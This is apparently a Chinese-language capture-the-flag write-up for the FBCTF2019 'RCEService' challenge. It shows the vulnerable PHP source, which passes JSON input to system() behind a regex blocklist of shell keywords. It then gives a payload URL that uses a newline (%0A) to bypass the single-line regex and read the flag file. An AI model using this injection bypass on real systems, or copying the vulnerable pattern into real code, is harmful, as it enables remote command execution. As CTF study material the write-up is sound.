[FBCTF2019]RCEService

 

 

尝试

{"cmd":"ls"}

可以看到后台有index.php

继续读上层目录

{"cmd":"ls ../"}

无回显

以下参考自https://www.cnblogs.com/gaonuoqi/p/12455159.html

后台代码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

 

这里使用preg_match进行匹配，而preg_match只匹配一行，所以可以使用多行绕过

payload，其中%0A是换行符

http://738f93e3-5c5c-44e4-b004-034dd5bcc47e.node3.buuoj.cn/?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}